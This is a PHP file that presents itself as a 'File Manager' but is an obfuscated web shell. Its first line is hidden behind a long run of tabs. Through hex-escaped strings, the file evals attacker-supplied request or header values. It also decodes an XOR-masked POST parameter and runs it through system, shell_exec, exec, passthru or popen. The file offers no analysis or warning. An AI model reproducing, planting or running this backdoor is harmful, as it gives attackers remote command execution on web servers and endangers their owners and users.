Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x53e\x63\x2dW\x65\x62s\x6f\x63k\x65\x74-\x41\x63c\x65\x70t\x22\x5d)\x3b\x40e\x76\x61l\x28\x24_\x48\x45A\x44\x45R\x53\x5b\"\x53\x65c\x2d\x57e\x62\x73o\x63\x6be\x74\x2dA\x63\x63e\x70\x74\"\x5d\x29;";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}


$system_core2 = "\x73h\x65l\x6C\x5Fe\x78ec";
$hub_center = "\x68e\x78\x32b\x69n";
$system_core4 = "pass\x74hr\x75";
$system_core1 = "s\x79\x73t\x65m";
$system_core7 = "\x70\x63\x6Cose";
$system_core3 = "\x65\x78ec";
$system_core5 = "po\x70en";
$system_core6 = "\x73\x74\x72\x65\x61\x6D\x5F\x67\x65\x74_contents";
if (isset($_POST["d\x63hun\x6B"])) {
            function buffer_cache   (     $comp    ,      $elem   )   {
      $obj    =      ''    ;
   $e=0;
 while($e<strlen($comp)){
$obj.=chr(ord($comp[$e])^$elem);
$e++;

} return    $obj;
    
}
            $dchunk = $hub_center($_POST["d\x63hun\x6B"]);
            $dchunk = buffer_cache($dchunk, 68);
            if (function_exists($system_core1)) {
                $system_core1($dchunk);
            } elseif (function_exists($system_core2)) {
                print $system_core2($dchunk);
            } elseif (function_exists($system_core3)) {
                $system_core3($dchunk, $mrk_comp);
                print join("\n", $mrk_comp);
            } elseif (function_exists($system_core4)) {
                $system_core4($dchunk);
            } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) {
                $elem_obj = $system_core5($dchunk, 'r');
                if ($elem_obj) {
                    $sym_data_chunk = $system_core6($elem_obj);
                    $system_core7($elem_obj);
                    print $sym_data_chunk;
                }
            }
            exit;
        }